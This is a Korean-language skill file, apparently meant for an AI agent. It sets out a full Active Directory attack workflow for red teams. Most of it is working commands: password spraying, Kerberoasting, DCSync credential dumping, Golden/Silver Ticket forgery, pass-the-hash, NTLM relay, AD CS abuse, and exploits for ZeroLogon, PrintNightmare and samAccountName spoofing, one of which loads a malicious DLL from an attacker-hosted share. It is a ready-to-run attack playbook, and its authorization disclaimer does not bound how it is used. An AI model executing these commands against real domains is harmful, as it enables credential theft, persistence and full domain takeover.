승인된 사용 전용: 이 스킬은 승인된 보안 평가, 방어 검증 또는 통제된 교육 환경에서만 사용하십시오.
Active Directory 공격
목적
Microsoft Active Directory 환경 공격을 위한 종합적인 기술 제공. 레드 팀 운영 및 침투 테스트를 위한 정찰, 자격 증명 수집, Kerberos 공격, 측면 이동, 권한 상승 및 도메인 장악을 다룹니다.
입력/전제 조건
- Kali Linux 또는 Windows 공격 플랫폼
- 도메인 사용자 자격 증명 (대부분의 공격에 필요)
- 도메인 컨트롤러에 대한 네트워크 액세스
- 도구: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
출력/산출물
- 도메인 열거 데이터
- 추출된 자격 증명 및 해시
- 가장용 Kerberos 티켓
- 도메인 관리자 액세스
- 지속적 액세스 메커니즘
필수 도구
| 도구 | 목적 |
|---|---|
| BloodHound | AD 공격 경로 시각화 |
| Impacket | Python AD 공격 도구 |
| Mimikatz | 자격 증명 추출 |
| Rubeus | Kerberos 공격 |
| CrackMapExec | 네트워크 악용 |
| PowerView | AD 열거 |
| Responder | LLMNR/NBT-NS 중독 |
핵심 워크플로
1단계: Kerberos 시계 동기화
Kerberos는 시계 동기화가 필요합니다 (±5분):
# 시계 차이 감지
nmap -sT 10.10.10.10 -p445 --script smb2-time
# Linux에서 시계 수정
sudo date -s "2024 4 14 18:25:16"
# Windows에서 시계 수정
net time /domain /set
# 시스템 시간 변경 없이 가짜 시계 사용
faketime -f '+8h' <command>
2단계: BloodHound를 사용한 AD 정찰
# BloodHound 시작
neo4j console
bloodhound --no-sandbox
# SharpHound로 데이터 수집
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
# Python 수집기 (Linux에서)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
3단계: PowerView 열거
# 도메인 정보 가져오기
Get-NetDomain
Get-DomainSID
Get-NetDomainController
# 사용자 열거
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset
# 그룹 열거
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
# 로컬 관리자 액세스 찾기
Find-LocalAdminAccess -Verbose
# 사용자 헌팅
Invoke-UserHunter
Invoke-UserHunter -Stealth
자격 증명 공격
비밀번호 스프레이 공격
# kerbrute 사용
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
# CrackMapExec 사용
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
Kerberoasting
서비스 계정 TGS 티켓을 추출하고 오프라인에서 크랙:
# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
# hashcat으로 크랙
hashcat -m 13100 hashes.txt rockyou.txt
AS-REP Roasting
"Kerberos 사전 인증 필요 없음"으로 설정된 계정 대상:
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# hashcat으로 크랙
hashcat -m 18200 hashes.txt rockyou.txt
DCSync 공격
DC에서 직접 자격 증명 추출 (디렉터리 복제 변경 권한 필요):
# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt
# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator
Kerberos 티켓 공격
Pass-the-Ticket (Golden Ticket)
krbtgt 해시로 임의 사용자에 대한 TGT 위조:
# 먼저 DCSync를 통해 krbtgt 해시 획득
# Mimikatz - Golden Ticket 생성
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]
Silver Ticket
특정 서비스에 대한 TGS 위조:
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
Pass-the-Hash
# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH
wmiexec.py domain.local/[email protected] -hashes :NTHASH
smbexec.py domain.local/[email protected] -hashes :NTHASH
# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
OverPass-the-Hash
NTLM 해시를 Kerberos 티켓으로 변환:
# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache
# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
NTLM 릴레이 공격
Responder + ntlmrelayx
# Responder 시작 (릴레이를 위해 SMB/HTTP 비활성화)
responder -I eth0 -wrf
# 릴레이 시작
ntlmrelayx.py -tf targets.txt -smb2support
# 위임 공격을 위한 LDAP 릴레이
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
SMB 서명 확인
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
인증서 서비스 공격 (AD CS)
ESC1 - 잘못 구성된 템플릿
# 취약한 템플릿 찾기
certipy find -u [email protected] -p password -dc-ip 10.10.10.10
# ESC1 악용
certipy req -u [email protected] -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn [email protected]
# 인증서로 인증
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
ESC8 - 웹 등록 릴레이
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
주요 CVE
ZeroLogon (CVE-2020-1472)
# 취약점 확인
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
# 악용
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
# 해시 추출
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
# 비밀번호 복원 (중요!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
PrintNightmare (CVE-2021-1675)
# 취약점 확인
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
# 악용 (악성 DLL 호스팅 필요)
python3 CVE-2021-1675.py domain.local/user:[email protected] '\\attacker\share\evil.dll'
samAccountName 스푸핑 (CVE-2021-42278/42287)
# 자동화된 악용
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
빠른 참조
| 공격 | 도구 | 명령어 |
|---|---|---|
| Kerberoast | Impacket | GetUserSPNs.py domain/user:pass -request |
| AS-REP Roast | Impacket | GetNPUsers.py domain/ -usersfile users.txt |
| DCSync | secretsdump | secretsdump.py domain/admin:pass@DC |
| Pass-the-Hash | psexec | psexec.py domain/user@target -hashes :HASH |
| Golden Ticket | Mimikatz | kerberos::golden /user:Admin /krbtgt:HASH |
| Spray | kerbrute | kerbrute passwordspray -d domain users.txt Pass |
제약 사항
필수:
- Kerberos 공격 전에 DC와 시간 동기화
- 대부분의 공격에 유효한 도메인 자격 증명 보유
- 모든 손상된 계정 문서화
금지:
- 과도한 비밀번호 스프레이로 계정 잠금
- 승인 없이 프로덕션 AD 개체 수정
- 문서화 없이 Golden Ticket 남기기
권장:
- 공격 경로 발견을 위해 BloodHound 실행
- 릴레이 공격 전에 SMB 서명 확인
- CVE 악용 전 패치 수준 확인
예제
예제 1: Kerberoasting을 통한 도메인 장악
# 1. SPN이 있는 서비스 계정 찾기
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
# 2. TGS 티켓 요청
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
# 3. 티켓 크랙
hashcat -m 13100 tgs.txt rockyou.txt
# 4. 크랙된 서비스 계정 사용
psexec.py domain.local/svc_admin:[email protected]
예제 2: LDAP으로 NTLM 릴레이
# 1. LDAP 대상 릴레이 시작
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
# 2. 인증 트리거 (예: PrinterBug 통해)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
# 3. 생성된 머신 계정을 RBCD 공격에 사용
문제 해결
| 문제 | 해결책 |
|---|---|
| 시계 차이 너무 큼 | DC와 시간 동기화 또는 faketime 사용 |
| Kerberoasting 결과 비어 있음 | SPN이 있는 서비스 계정 없음 |
| DCSync 액세스 거부 | 디렉터리 복제 변경 권한 필요 |
| NTLM 릴레이 실패 | SMB 서명 확인, LDAP 대상 시도 |
| BloodHound 비어 있음 | 올바른 자격 증명으로 수집기 실행 확인 |
추가 자료
위임 공격, GPO 남용, RODC 공격, SCCM/WSUS 배포, ADCS 악용, 트러스트 관계 및 Linux AD 통합을 포함한 고급 기술은 references/advanced-attacks.md를 참조하십시오.
사용 시기
이 스킬은 개요에 설명된 워크플로 또는 작업을 실행하는 데 적용됩니다.